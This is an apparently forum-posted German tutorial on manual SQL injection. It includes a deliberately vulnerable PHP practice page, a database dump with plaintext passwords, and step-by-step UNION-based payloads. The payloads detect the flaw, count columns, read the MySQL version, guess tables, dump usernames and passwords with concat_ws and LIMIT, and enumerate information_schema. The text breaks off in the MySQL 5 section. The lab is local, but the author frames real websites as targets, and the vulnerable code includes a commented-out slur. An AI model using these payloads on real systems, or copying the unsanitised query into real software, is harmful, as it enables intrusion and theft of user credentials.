SQL Injection Tutorial

by hand0

Inhaltsverzeichnis

Intro

So, ich weiß dieses Tutorial kommt mit einiger Verspätung. Jedoch gehe ich noch einen normalem Beruf nach und habe dementsprechend nicht allzu viel Zeit. Bevor ich also was halbfertiges oder ungenügendes in den Swap meiner Lieblings Linux Distribution tippe, wartete ich bis der richtige Zeitpunkt gekommen war ein möglichst perfektes Tutorial zu schreiben. Ich hatte schon von Anfang an vor etwas komplettes zu Erstellen, um einen maximalen Lernerfolg zu erreichen. Deswegen enthält der folgende Text eine Übungsumgebung und selbst verwendbare Codesnippets. Anhand dieser Umgebung sollte es leichter sein zu verstehen was genau passiert und man wird mehr Erfolg haben als in der wirklichen Wildnis des Internets :)

Damit beende ich das Intro und wünsche Erfolg beim Durcharbeiten des Textes.

Haftung

Zu Beginn das übliche. Ich bin nicht Schuld wenn ihr unvorsichtig seid und entweder einen Abuse-brief kriegt oder eure eigene Seite killt. Jeder von euch sollte alt genug sein um sich zu schützen oder Verantwortungsbewusst genug um das Folgende nur für lokale Zwecke zu nutzen. Also verschont mich bitte mit irgendwelchen PM's dass ihr jetzt Stubenarrest habt weil der Postbote böse Briefe brachte.

Für wem geeignet?

Das Tutorial ist sehr Technik und Theorielastig, deswegen wird es absoluten Anfängern schwer fallen Quellcodes, Vorgänge und sonstiges zu verstehen. Deswegen dürft ihr nicht erwarten dass ihr das Thema nur durch das lesen dieses Textes versteht. Deswegen empfehle ich mein Tutorial ausschließlich Leuten die gerne experimentieren und Spaß am Lernen haben. Hinzu kommt das Interesse warum eine SQL-Injection überhaupt möglich ist und der Wille sich von dem schlicht-gestrickten Tool-Usern abzuheben. Sich mal mit Materie befassen anstatt vorgefertigte Scanner zu benutzen und nur den Output zu betrachten. Komplexere Injections per Hand durchführen zu können. Von sich behaupten können, er habe sich mit etwas befasst und kann es in die Tat umsetzen. Aber überhaupt und das ist meine eigentliche Intention, dem Titel "Hacker" etwas näher zu kommen. Der folgende kurze Abschnitt über ethical Hacker muss sein, lest ihn und lernt was, oder überspringt ihn :) Vorgefertigte Programme zu verwenden ohne Basiswissen was dort eigentlich passiert, hat absolut nichts mit dem Grundgedanken des Hackens zu tun. Die ersten Hacker waren nämlich keine Menschen die Wege gingen welche schon total platt getrampelt waren, Diese Leute konnten durch Kreativität und Willenskraft komplett neue Gebiete erschließen. Das ist also meine Auffassung von wirklichen Hackern, Sachen einfach mal selber machen und für sich selbst Programme schreiben um Mechanismen zu automatisieren anstatt das Federkleid anderer Programmierer zu tragen und damit zu protzen.

Nur ein ganz kleiner Teil meiner Meinung.

Dementsprechend kann dieser Artikel nur Leuten Spaß machen und Erfolg bringen die den Willen haben WoW oder CS:GO mal für ein paar Stunden zu verlassen. Denn ohne Schweiss kein Preis. Hängt euch etwas rein. Versucht die Quellcodes zu verstehen, tippt sie ab anstatt zu kopieren oder versucht sie direkt aus dem Gedächtnis oder per Logik zu schreiben. Alle die für etwas Mühe und Zeit keinen Nerv haben, Sorry aber Pech.

Setup

Beginnen wir nur mit der Einrichtung unserer Übungsumgebung für SQL-Injections.
Um das Lernen und das Üben zu erleichtern werden wir für die Schritt für Schritt Anleitung der SQL Injection einen lokalen Webserver benutzten, welcher die Webseite und die Datenbank enthält. So ist es euch möglich so viel und lange wie möglich am System zu üben wie ihr wollt, ohne Filter oder Kuriositäten in den Abfragen.

Für diesen Zweck habe ich bereits vor längerer Zeit ein PHP Skript geschrieben, welches eine ganz einfache Webseite darstellen wird. Diese Webseite wird über PHP auch Datensätze aus Datenbanken anfordern. Den jeweiligen Inhalt für diese Datenbank habe ich ebenfalls in das HowTo eingebaut.

Ich denke dass jeder von euch in der Lage ist eine Applikation zu installieren. Deswegen werde ich die Installation der Webserver auf Windows/Linux/MacOS nicht extra erklären. Bei Windows ist es aufgrund der grafischen Oberfläche sowieso einfach. Linux User unter euch können sich hierbei immer das Wiki zu eurer Lieblings Distribution zur Hilfe holen. Für all die Mac User, ich benutze nebenbei ebenfalls ein MacBook Air und verwende dort MAMP als free Version als meine Pentest Umgebung. Bei der Installation sollten ebenfalls keinerlei Probleme auftauchen.

Sobald ihr euren Webserver auf eurem System installiert habt müsst ihr lediglich das PHP-Skript als "sql.php" in eurem htdocs Ordner abspeichern. htdocs ist das Standardverzeichnis vieler Webserver. Unter Windows sollte er direkt um Grundverzeichnis der Installation von XAMPP zu finden sein (bsp: C:/Programme/xampp/htdocs). Unter Linux kann der Pfad jedoch etwas variieren, der übliche Pfad ist aber eigentlich "/var/www/htdocs". Darauf kann ich aber keine Garantie geben. Für den Pfad von MAMP müsst ihr nur unter den Einstellungen des Apaches schauen, dort wird der Pfad der htdocs angezeigt.

Um den Datenbank-Dump in eure Datenbank einzufügen müsst ihr zuerst über PHPMyAdmin (http://localhost/phpmyadmin etc..) die Datenbank "sqli" erstellen. Auch hier gibt es eventuelle Abweichungen je nach Version von PHPMyAdmin. Ihr solltet jedoch über den Reiter "Datenbanken" in eine Übersicht der der bereits bestehenden Datenbanken gelangen. Dort sollte sich dann auch ein Eingabe Feld befinden über welches ihr eine neue Datenbank anlegen könnt. Jeder sollte es schaffen eine Datenbank ohne bestimmter Kollation zu erstellen.
Sobald ihr dies getan habt, wählt ihr auf der linken Seite die Datenbank "sqli" aus und könnt dann den Text einfach, über das Eingabefeld unter "SQL", importieren. Sobald das

Fehlerfrei gelungen ist solltet ihr unser Übungsszenario sehen wenn ihr über "http://localhost/sql.php" aufruft.

Falls in den letzten Schritten Probleme auftauchen, nehmt die Fehlermeldungen versucht erstmal über Google über Problem selbstständig zu lösen. Ansonsten könnt ihr mit möglichst vielen Informationen auch einen Post in diesem Thread verfassen.

Es folgt nun das SQL Skript welches eigentlich keiner Kommentare Bedarf:

```
-- phpMyAdmin SQL Dump
-- version 4.0.6
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Erstellungszeit: 02. Apr 2015 um 13:50
-- Server Version: 5.5.33
-- PHP-Version: 5.5.3

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";

-- Datenbank: `sqli`

-- Tabellenstruktur für Tabelle `news`
--

CREATE TABLE `news` (
 `id` int(11) NOT NULL AUTO_INCREMENT,
 `news` text NOT NULL,
 PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;

--
-- Daten für Tabelle `news`
--

INSERT INTO `news` (`id`, `news`) VALUES
(1, 'Das sind die ersten News'),
(2, 'Das sind die zweiten News'),
(3, 'Happy Haxing');

-- Tabellenstruktur für Tabelle `user`


CREATE TABLE `user` (
 `id` int(11) NOT NULL,
 `username` text COLLATE latin1_general_ci,
 `password` text COLLATE latin1_general_ci,
 PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;

-- Daten für Tabelle `user`

INSERT INTO `user` (`id`, `username`, `password`) VALUES
(1, 'admin1', 'horst'),
(2, 'admin2', 'blub');
```

Nun der Inhalt der sql.php Datei, beachtet dass ihr in der kommentierten Zeile eventuell das Passwort eintragen müsst:

```
<h2>SQL Injection Playground.</h2><br><br>
<A href="http://localhost:8888/sql.php?news=1">News 1</A><br>
<A href="http://localhost:8888/sql.php?news=2">News 2</A><br>
<A href="http://localhost:8888/sql.php?news=3">News 3</A><br>
<br><br>
<?php
$db = mysql_connect("localhost", "root", ""); ## Hier als drittes Argument euern apache Root Passwort eintragen.
mysql_select_db("sqli") OR die(mysql_error());


//if(preg_match('/(order|null|where|limit)/i', $_GET['news']))
//    exit('No Hacking faggot!');
$sql = "SELECT * FROM `news` WHERE `id` = ".$_GET['news'].";";
$result = mysql_query($sql);
$row = mysql_fetch_assoc($result);
echo $row['id']." - ".$row['news'] ;


?><br><br><br><br>
coded by hand0
```

Ich habe mich dazu entschieden keine Einführung in PHP und SQL zu schreiben. Die Gründe werde ich in den folgenden Zeilen ausführen. Es bringt absolut nichts das Rad ständig so zu erfinden wie es bereits jemand getan hat. Es gibt wirklich viele gute Seiten welche das Basis Wissen von PHP und SQL vermitteln. Deswegen bringt es absolut nichts bereits veröffentlichtes Wissen unter anderem Wortlaut neu auf zu setzten. Deswegen empfehle ich die folgende Seite: http://www.php-einfach.de. Diese ist wirklich nur darauf bedacht Grundlagen einfach zu vermitteln und diese dann in verschiedenen Skripten zusammen zu führen. Wer also eine SQL Injection erfolgreich verstehen will, der sollte die Zeit investieren und sich etwas mit PHP und SQL auseinander setzen. Das ist auch direkt der beste Schritt um aufwendigere Attacke auf Webseiten zu verstehen und den Grundstein für die Entwicklung zum "richtigen Hacker" zu legen.

Was ist eine SQL-Injection?

Als eine SQL-injection bezeichnet man das Manipulieren von SQL-Querys in PHP-basierten Webseiten um an, eigentlich nicht öffentliche, Datensätze wie Passwörter und Email-Adressen zu kommen.

Ok dieser Satz war wahrscheinlich sehr verwirrend. Deswegen werde ich es so einfach wie möglich in einem längerem Abschnitt mit vielen Vergleich ein zweites mal erklären.

Ihr alle solltet das kennen, ihr seid auf einer Webseite eines Clans, sozialen Netzwerkes oder eines Shops. Ich werde nun das Beispiel des sozialen Netzwerkes weiterführen. Ihr klickt also auf das Profil einer Person und werdet direkt auf dessen Profil weitergeleitet. Jetzt solltet ihr euch die Frage stellen woher der Server weiß welche Seite ihr genau betrachten wollt. Damit der Server diese Information von eurem Browser erhalten kann gibt es die POST und GET Parameter, welche ich ja in den PHP Grundlagen bereits erwähnte. Bei diesem Beispiel bleibe ich bei dem GET Parameter, welcher wesentlich offensichtlicher ist als der POST. Hinter dem angezeigtem Namen des Typens im sozialen Netzwerk steckt ein Link im HTML-Quelltext. Welcher ungefähr so aussehen kann:

PROFIL NAME DES TYPENS

Sobald ihr also auf den Profilnamen klickt wird euch euer Browser auf diese URL weiterleiten:

http://fuckbook.com/?userid=100

Wie ihr sicherlich erkennt wurde der GET-Parameter "userid" mit dem Wert 100 überliefert. Man kann den Wert auch manuell direkt in der URL abändern und somit Zufällig durch Profile springen welche sich hinter der Eingegebenen ID verbergen. Aus dieser Tatsache erkennen wir also dass innerhalb des PHP-Codes irgendwo diese Zahl verwendet werden muss um Datensätze aus einer Datenbank zu erhalten. Da PHP keine eigene direkt Schnittelle zu einer Datenbank besitzt verwendet es integrierte Funktionen um mit MySQL-Datenbanken kommunizieren zu können.

Um es kurz anzumerken, die drei Ebenen der Webseite (HTML, PHP, SQL) geben den Parameter von einer Ebenen zur anderen weiter. Der HTML-Link setzt den GET-Parameter und PHP gibt den Wert an eine SQL-Abfrage weiter.

Um jetzt den Wert der Profil ID zu verändern benötigen wir nur die letzten beiden Ebenen und kein HTML. Wir arbeiten also bei GET-Parametern nur in der Adressleiste.

Jetzt kommen wir zu dem spannenden Teil. Was passiert eigentlich wenn ich jetzt anstatt einen Zahlenwert etwas ganz anderes hinter dieser "userid=" schreibe?
Richtig die Datenbank abfrage wird mit genau diesem Wert arbeiten. Wenn es jetzt irgendein Quatsch ist der als Wert übergeben wird, wird es einen Fehler alá "User nicht gefunden" oder überhaupt nichts zurück geben. So der Fall eines idiotischen Übergabewertes. Was aber wenn man SQL-Funktionen übergibt? Diese wird der Server auch als SQL-Befehle abarbeiten!

Also kann man durch Manipulation des Wertes in der Adressleiste, die Abfrage an den

Server so beeinflussen dass der SQL-Server unseren Befehlen gehorcht, oder es bei falscher Syntax eben nicht tut :)

Das war hoffentlich eine verständliche, nicht allzu technische Erklärung was eine SQL-Injection ist.

SQL Injection Schritt für Schritt

SQL Version<=4

Wenn ihr bis hierhin durchgehalten habt und bereits http://www.php-einfach.de durchgearbeitet habt dann hat sich eure Arbeit bereits gelohnt. Ich werde nun eine Schritt für Schritt Anleitung mit Erklärungen durchführen

Ich werde zwischendrin immer wieder kleinere Erfahrungen von mir teilen um euch möglichst flexibel mit viel Wissen auszubilden. Das kann dann ab und an mal in etwas längere Abschnitte ausarten, was ich aber besser finde als ständig Einzeiler mit Quellcode. Deswegen gehe ich auf gewisse Sachen etwas genauer ein um euch auch das Wissen für einen Plan B zu vermitteln.

Ich werde ausserdem immer Quelltext posten um zu verdeutlichen was durch die Manipulation des GET Wertes, sowohl im sql.php als auch in der eigentlichen SQL Abfrage passiert. Den von uns bösen injizierten Code werde ich immer als rote Schrift markieren um darzustellen inwiefern unsere Manipulation aussieht.

Ihr könnt nun das sql.php Skript in eurem Browser aufrufen. Ihr seht nun eine sehr minimalistische Webseite die für unsere Zwecke aber optimal geeignet ist. Sobald ihr auf einen der drei Links klickt werdet ihr auf die entsprechende Seite der Nachricht weitergeleitet. Jeder der sich jetzt mit den Grundlagen befasst hat wird sofort sehen dass die ID der Nachricht per GET-Parameter an das PHP Skript übergeben wurde.

Vorher: http://localhost:8888/sql.php
Nachher: http://localhost:8888/sql.php?news=1

Ihr seht also dass an die URL der Parameter news angehängt wurde. Das ist aber auch alles was wir sehen. Um jetzt zu verstehen was sich auf dem Server, vor unseren Augen versteckt, abspielt, werd eich jetzt immer die SQL-Abfragen einfügen wie sie bei der jeweiligen URL aussehen und die Zeile der Abfrage in PHP.

http://localhost:8888/sql.php?news=1

$sql = "SELECT * FROM `news` WHERE `id` = ".$_GET['news'].";";

SELECT * FROM `news` WHERE `id` = 1;

Wie ihr seht wird der Wert 1 über den GET Parameter an die MySQL Datenbank gesendet. Die Datenbank sucht nun den Eintrag in der Tabelle "news" mit der ID 1. Also ganz simpel. Um nun zu testen ob diese Webseite durch eine SQL-Injection angreifbar ist gibt es zwei Methoden. Bei der ersten hängen wir an den wert 1 einfach noch das Hochkommata an. Wie ihr ja wisst sind Hochkommata Begrenzungszeichen um Variablen von Funktionalem Code zu unterscheiden.

http://localhost:8888/sql.php?news=1'

$sql = "SELECT * FROM `news` WHERE `id` = ".$_GET['news'].";";

SELECT * FROM `news` WHERE `id` = 1';

Wir hängen also hinter die 1 das Hochkommata, im PHP Code an sich ändert sich deswegen nicht wirklich was, da PHP (in diesem Skript) nicht prüft was übergeben wird. Es ist also nur reiner Transporter. Der SQL Befehl jedoch ändert sich Grundlegend. Da jetzt ein einzelnes Hochkommata im Query steht kann die ganze Zeile nicht funktionieren, da Klammern und Begrenzungszeichen immer wieder durch ein zweites Zeichen geschlossen werden müssen.
Also kann der SQL-Server mit dieser Query absolut nichts anfangen und gibt entweder einen Error zurück oder zeigt die Webseite fehlerhaft an. Es kann von Version zu Version der Datenbank/Apaches unterschiedlich sein was passiert. Auf meiner lokalen Maschine z.b. wird die Seite Fehlerhaft angezeigt. Sprich alle Informationen die normalerweise aus der Datenbank kommen sollten sind verschwunden. Es gibt jedoch auch andere Anzeichen, es könnte eine blanke weisse Seite angezeigt werden mit einem SQL Fehler alá "MySQL Error: You have an error in your SQL-Syntax near by ". Check your Manual..." erscheinen. Jedoch muss das nicht der Fall sein. Die Webseite kann ihre Hintergrundfarbe und das gesamte Theme behalten und irgendwo diese Fehlermeldung anzeigen. Also einmal die Seite überfliegen und nach einen Error suchen.

Die zweite Methode ist mit einer BOOL Abfrage zu arbeiten, also WAHR oder FALSCH. Hierfür hängen wir hinter den Wert 1 einfach ein +AND+1=1--.

http://localhost:8888/sql.php?news=1+AND+1=1--

SELECT * FROM `news` WHERE `id` = 1 AND 1=1;

Da 1 natürlich gleich 1 ist, wird natürlich der wert WAHR zurück gegeben und die Seite wird sich ganz normal aufbauen. Dies sollte sich aber ändern wenn der Wert FALSCH zurück gegeben wird. 1 ist NICHT 2 deswegen Error :)

http://localhost:8888/sql.php?news=1+AND+1=2--

SELECT * FROM `news` WHERE `id` = 1 AND 1=2;

Sollte dann im Falle eines Social Networks ein SQL Fehler auftauchen oder Personenbezogene Daten, welche aus der DB kommen, fehlen, wissen wir dass es sich um ein angreifbares Skript handeln könnte.

Die erste Information die wir also jetzt benötigen ist die Anzahl der Spalten in der Tabelle in welcher die Query arbeitet. Wenn wir also in der Tabelle "news" unseren Code einschleusen, dann müssen wir wissen wie viele Spalten diese Tabelle hat. Um dies zu überprüfen gehen wir wie folgt vor:

http://localhost:8888/sql.php?news=1+order+by+1--

SELECT * FROM `news` WHERE `id` = 1 order by 1--;

Wir ersetzten also das Hochkommata mit dem "+order+by+1--" Befehl. Eigentlich ist es egal ob wir + oder Leerzeichen benutzten, mir ist es lieber mit +, da so die URL von nervigen %27 befreit bleibt. Also was macht dieser Befehl? Einfach ausgedrückt ordnet er nur alle Felder nach eigenen Kriterien neu an. Diese kann auch die die Nummer des Feldes gemacht werden. Also wenn ich order+by+1 verwende, dann wird die Tabelle einfach nur nach Feld 1 geordnet. Was hilft uns das jetzt weiter? Natürlich kann der Befehl die Einträge der Tabelle nur dann Ordnen wenn es die Anzahl der Felder überhaupt gibt. Das heisst also wenn wir bei einer Tabelle mit 50 Feldern ein order+by+60 verwenden, wird das nicht funktionieren und es kommt ein Fehler oder die Informationen von der Seite verschwinden.

Was wir also nun machen müssen ist den Übergang zwischen Fehlerfreier und Fehlerbehafteter Seite zu finden. Dazu spielen wir einfach nur mit dem Integer Wert im order+by:

http://localhost:8888/sql.php?news=1+order+by+100-- <=== Fehler
http://localhost:8888/sql.php?news=1+order+by+50-- <=== Fehler
http://localhost:8888/sql.php?news=1+order+by+20-- <=== Kein Fehler
http://localhost:8888/sql.php?news=1+order+by+21-- <=== Fehler

In diesem Beispiel sieht man wie man vorzugehen hat. Wir fangen bei 100 an und gehen dann in großen Schritten runter. Sobald die Seite Fehlerfrei angezeigt wird inkrementieren wir den Wert wieder solange bis wir wissen dass bei 20 die Seite das letzte mal Fehlerfrei angezeigt wird.

Das heißt also dass die Tabelle in der wir arbeiten 20 Einträge/Felder hat.
In unserem lokalen Beispiel sind es weitaus weniger Felder, aber das macht keinen Unterschied :)

PS: Der doppelte Strich hinter dem Order+by Statement ist, wie ihr wissen solltet ein eingeleiteter Kommentar. Das heißt dass der Interpreter des SQL Servers alles hinter diesen Zeichen ignoriert. Andere Symbole sind beispielsweise /* und #. Ich verwende jedoch

ausschließlich das doppelte Minus.

Sollte die order+by Funktion nicht funktionieren können wir es auch auf einen anderen Weg versuchen. Normalerweise würden wir nach der order+by Funktion direkt mit einem fertigen UNION+SELECT Statement fortfahren. Jedoch können wir dieses auch verwenden um auf die Felder Anzahl zu gelangen, jedoch etwas umständlicher.

Zuerst aber etwas zum "UNION", dieser Command kann zwei SELECT miteinander verbinden und ermöglicht uns so innerhalb eines SELECT ein anderes auszuführen. Um auf diesem Wege an die Anzahl der Felder zu kommen gehen wir so vor:

http://localhost:8888/sql.php?news=1+UNION+SELECT+1--
http://localhost:8888/sql.php?news=1+UNION+SELECT+1,2--
http://localhost:8888/sql.php?news=1+UNION+SELECT+1,2,3--
... usw

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT 1 2 3--;

Wir hängen also immer die Frage eines weiteren Feldes an das UNION+SELECT Statement, solange bis in Fehler auftaucht. Dieser Weg scheint auf den ersten Blick ebenso einfach, jedoch müsst ihr bedenken dass es da draußen im Netzt Tabellen mit mehreren Hunderten Spalten gibt. Dementsprechend lange dauert es auf diesem Wege ans Ziel zu kommen.

Sobald man aber dann die Anzahl der Felder hat, egal wie, nutzten wir das UNION Statement um den Grundstein unserer Injection zu legen. Im Falle unserer lokalen Seite sähe das so aus:

http://localhost:8888/sql.php?news=1+UNION+SELECT+1,2--

Nun sollte die Seite Fehlerfrei angezeigt werden. Wenn ihr mal auf eine Tabelle stoßt die sehr viele Felder hat empfehle ich euch die HackBar für Firefox. Dieses Addon ermöglicht euch das schnelle Erstellen des Union Statements. Wenn das der Fall ist müssen wir nun den Übergabe Wert 1 so verfälschen dass die Datenbank nichts mehr mit ihm anfangen kann. Dafür gibt es ebenso mehrere Möglichkeiten:

http://localhost:8888/sql.php?news=-1+UNION+SELECT+1,2-- Negieren
http://localhost:8888/sql.php?news=9999999+UNION+SELECT+1,2-- Unreal hohen Wert eintragen

Nach diesem Vorgang sollten wir nun, überall dort wo Informationen standen, Zahlen stehen.
Aus diesem Grunde zählen wir bei dem UNION Statement hoch. Es würde auch auf diesem Wege gehen UNION+SELECT+1,1,1,1,1,1-- Jedoch würde uns das jetzt nicht weiterbringen. Wir haben also mit diesem Hochzählen bewirkt dass wir sehen welches Feld überhaupt bis auf die Webseite gelangt, da es ja auch Felder in Datenbanken gibt die niemals öffentlich gezeigt werden (Passwörter usw.). Logischerweise sehen wir in unserem

lokalen Beispiel jetzt die 1 und die zwei, da beide Felder angezeigt werden sollen.

Der nächste Schritt ist nun die Version von Mysql herauszufinden. Warum diese wichtig ist werde ich gleich erklären.

Die Version einer Datenbank findet man ziemlich simpel heraus indem man eine, der sichtbaren Zahlen, mit dem version() oder @@version Befehl ersetzt.

http://localhost:8888/sql.php?news=-1+UNION+SELECT+version(),2--
http://localhost:8888/sql.php?news=-1+UNION+SELECT+@@version,2--

Nun sollte dort wo sich vorher die Zahl befand, die Version befinden.
Andere nützliche Befehle sind außerdem:

@@datadir
current_user()

Alle Datenbank Versionen >5 beinhalten eine integrierte Datenbank mit dem Namen "information_schema". Die Existenz dieser Datenbank ist uns von enormen Nutzen, denn in dieser Datenbank wird eine Art Inhaltsverzeichnis des gesamten Datenbankservers geführt. Also ALLE Datenbanken, Tabellen und Spalten auf dem Server stehen werden in dieser information_schema gelistet. Das heißt also dass wir mit Hilfe dieser Datenbank eine Übersicht aller interessanter Informationen bekommen können, was uns im weiteren Verlauf der Injection sehr sehr hilfreich sein wird.

In Datenbanksystemen unterhalb der Version 5 gibt es diese information_schema nicht. Also bleibt uns nichts anderes übrig als die Tabellen- und Spaltennamen selbst zu erraten.

Ich werde zuerst mit der Version 4 Variante beginnen.

Ausgangspunkt ist immer noch der folgende Link:

http://localhost:8888/sql.php?news=-1+UNION+SELECT+1,2--

Zuerst müssen wir den Namen der Tabelle erraten. Da dort die Möglichkeiten wirklich fast unendlich sind wird sich das als ziemlich schwierig gestalten. Also fangen wir mit den üblichen an:

http://localhost:8888/sql.php?news=-1+UNION+SELECT+1,2+FROM+users--

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT 1 2 FROM users--;

Ihr seht also dass ich zuerst NUR den Tabellen Namen raten will. In die menschliche Sprache übersetzt heisst das also "Wähle Feld 1,2 aus der Tabelle user". Was passiert natürlich wenn es diese Tabelle nicht gibt? Richtig es kann nichts zurück gegeben werden und es gibt einen Error oder eine leere Seite. Das ist jetzt der scheiss an Version 4 und niedriger, wir müssen halt solange raten bis die Seite normal dargestellt wird....

http://localhost:8888/sql.php?news=-1+UNION+SELECT+1,2+FROM+user--

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT 1 2 FROM user--;

In unserer lokalen Umgebung ist dies einfach da wir ja wissen dass die Tabelle "user" heißt. Sobald wir also wissen dass es die Tabelle User gibt müssen wir natürlich die Felder erraten.

http://localhost:8888/sql.php?news=-1+UNION+SELECT+id,2+FROM+user--

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT id 2 FROM user--;

Dafür ersetzten wir dann einfach die Zahlen durch Felder die wir uns ausgeben lassen wollen. Ich habe jetzt erstmal nur das Beispiel "id" verwendet da dieser name in den meisten Tabellen vorkommt. Sobald also die Seite Fehlerfrei dargestellt wird sollten wir sogar schon eine allererste Ausgabe aus der Tabelle sehen. Da wir im Prinzip schon eine fertige Injection haben :)
Wir lassen uns also die ID aus der Tabelle user ausgeben.
Wir sollten uns alle erfolgreich erratenen Felder notieren, damit wir später eine zusammengefasste Abfrage starten können. Die nächsten Interessanten Felder sind dann username, password und email. Diese Feldern amen müssen zusätzlich noch erraten werden. Das passiert aber alles nach der selben Methode wie wir die ID erraten haben, wir ersetzen eine der sichtbaren zahlen durch unseren erhofft richtigen Feldnamen.

Da wir ja wissen dass die Felde rin unserer Tabelle die Namen id, username und password tragen, können wir also die Suche nach diesen überspringen und mit der Ausgabe des Tabellen Inhaltes fortfahren

Wir stehen nun also vor dem Problem dass wir drei Feldnamen haben, aber nur zwei Felder um diese einzutragen. Für diese Fälle verwenden wir die Funktion concat_ws(). Diese Funktion wird dazu benutzt mehrere Zeichenketten aneinander zuhängen. Die Funktion funktioniert wie folgt:

concat_ws(0x3a,id,username,password)

Diese Funktion wird einfach durch eine einzige Zahl in der Injection ersetzt, das spart sehr viel Platz und hat einen weiteren Vorteil. Der erste Wert innerhalb der Funktion 0x3a ist der Hexadezimale Wert für einen Doppelpunkt und fungiert als Trennzeichen aller folgenden Strings. Also eine Ausgabe wäre in etwas so formatiert:

1:Administrator:Beinpasswort

Mit diesem Wissen können wir nun einen Datensatz aus der Tabelle ausgeben lassen.

http://localhost:8888/sql.php?
news=99999999+union+select+concat_ws(0x3a,id,username,password),2+from+user--

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT
concat_ws(0x3a,id,username,password) 2 FROM user--;

Wir sehen also eine gut formatierte Ausgabe der Tabelle user. Was natürlich auffällt ist dass wir direkt den Admin mit der Userin 1 gefunden haben. Das kann passieren, muss aber nicht. Viele Administratoren ändern im nach hinein ihre ID um genau solchen Fällen zuvorzukommen. Deswegen müssen wir nur überlegen wie wir denn von einer ID zur nächsten "springen" können. Also die Tabelle durchforsten. Für dieses Vorhaben verwenden wir die limit Funktion von MySQL. Diese wird immer ans Ende einer Abfrage geschrieben und bestimmt wo wir anfangen auszulesen und wie viel wir auslesen.

http://localhost:8888/sql.php?
news=99999999+union+select+concat_ws(0x3a,id,username,password),2+from+user+limit
+0,1--

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT
concat_ws(0x3a,id,username,password) 2 FROM user LIMIT 0,1--;

http://localhost:8888/sql.php?
news=99999999+union+select+concat_ws(0x3a,id,username,password),2+from+user+limit
+1,1--

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT
concat_ws(0x3a,id,username,password) 2 FROM user LIMIT 1,1--;

Wenn ihr diese beiden Beispiele in eurem Browser verwendet, dann werdet ihre sehen dass ihr von der ID 1 auf die ID 2 springen könnt und somit einen ganz anderen Datensatz ausgebt. Ihr erhöht also immer die Zahl vor dem Kommata und erhaltet damit den nächsten Datensatz.

Das war es auch schon zu einer SQL-Injection auf Version 4. Ihr seht im Endeffekt ist eine solche SQL Injection ziemlich einfach durchzuführen. Das Problem bei einer 4er Injection ist halt das lästige raten nach den Tabellen und Feldnamen. Aber für genau diesen Fall werde ich in naher Zukunft ein Python Skript veröffentlichen, was viele Vorgänge einer solchen Injection automatisiert. Dieses Skript wird dann natürlich auch kommentiert sein um euch eventuell Lust auf Python zu bereiten ^^.

SQL Version>=5

Kommen wir also zu einer Injection einer Datenbank Version >=5. Wie ich bereits erwähnte haben wir hier Zugriff auf eine gewissen information_schema welche uns das Raten der Tabellen und Feldnamen erspart. Wer den Vorgang der 4er Injection verstanden hat sollte hier absolut keinerlei Probleme mehr haben, da keine neuen Funktionen oder Techniken verwendet werden. Nur der Einsatz der bereits erlernten Funktionen verändert sich etwas. Deswegen werde ich das Suchen der Feld Anzahl auch überspringen und starte direkt an diesem Ausgangspunkt: Wir wissen dass wir zwei Felder zur Verfügung haben und dass es eine Datenbank der Version 5 aufwärts ist.

http://localhost:8888/sql.php?news=-1+union+select+1,2--

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT 1 2--;

Anders als bei Version 4 können wir hier direkt anfangen aus der Datenbank Information_schema zu lesen. Dazu müssen wir wissen dass die Datenbank information_schema heisst und die Tabelle columns. Um Datenbank übergreifend aus Tabellen zu lesen müssen wir also der Abfrage den Datenbank Name mit übergeben, dies funktioniert indem man den Datenbank name mit dem Tabellen name mit einem Punkt verbindet. Wenn wir also zZ in der Datenbank sqli sind aber was aus information_schema wissen wollen gehen wir wie folgt vor:

SELECT * FROM information_schema.columns

Also wir geben an dass wir an die Datenbank information_schema und die Tabelle columns wollen. Innerhalb der Tabelle Columns gibt es drei interessante Felder: table_schema, table_name und column_name. Aus diesen Informationen basteln wir uns jetzt eine Datenbank übergreifende Abfrage:

http://localhost:8888/sql.php?news=-1+union+select+concat_ws(0x3a,table_schema,table_name,column_name),2+from+information_schema.columns--

SELECT * FROM `news` WHERE `id` = 1 UNION SELECT
concat_ws(0x3a,table_schema,table_name,column_name 2
FROM information_schema.columns--;

Es sieht zwar verwirrend aus, aber es ist genau das was wir bereits gelernt haben. Wir ersetzen eine sichtbare Zahl durch die concat_ws Funktion mit den drei Feldnamen und wollen diese Infos aus der Datenbank information_schema aus der Tabelle columns haben. Das ganze wurde jetzt etwas länger, aber in unserer Sprache heißt es immer noch "Gebe mir table_schema table_name und column_name aus der Datenbank information_schema aus der Tabelle columns aus".

Wenn ihr diese Injection jetzt in eurem Browser durchführt solltet ihr eine solche Ausgabe erhalten " information_schema:CHARACTER_SETS:CHARACTER_SET_NAME". Das wird euch jetzt wohl nichts sagen aber das wird sich jetzt ändern.

information_schema:CHARACTER_SETS:CHARACTER_SET_NAME
1 | 2 | 3

1. Ist der Datenbankname
2. Der Tabellenname
3. Der Feldname

Ich sagte ja bereits dass diese information_schema.columns ähnlich wie in Inhaltsverzeichnis ist in welchem alle Namen des Datenbanksystems eingetragen sind. Das heisst also dass wir über dieses Register auch an die interessanten Datenbanken, Tabellen und Felder Namen kommen. Wie genau das Register die Einträge verwaltet kann ich ehrlich gesagt nicht sagen, ich denke aber mal Chronologisch. Deswegen sind die ersten Einträge ausschließlich von der Information_schema.

Um jetzt natürlich aber wirklich hilfreiche Informationen zu erhalten müssen wir natürlich wieder mit Limit in der Datenbank rumspringen.

http://localhost:8888/sql.php?news=-1+union+select+concat_ws(0x3a,table_schema,table_name,column_name),2+from+information_schema.columns+limit+100,1--

Output: information_schema:FILES:CREATE_TIME

http://localhost:8888/sql.php?news=-1+union+select+concat_ws(0x3a,table_schema,table_name,column_name),2+from+information_schema.columns+limit+200,1--

Output:
information_schema:REFERENTIAL_CONSTRAINTS:CONSTRAINT_SCHEMA

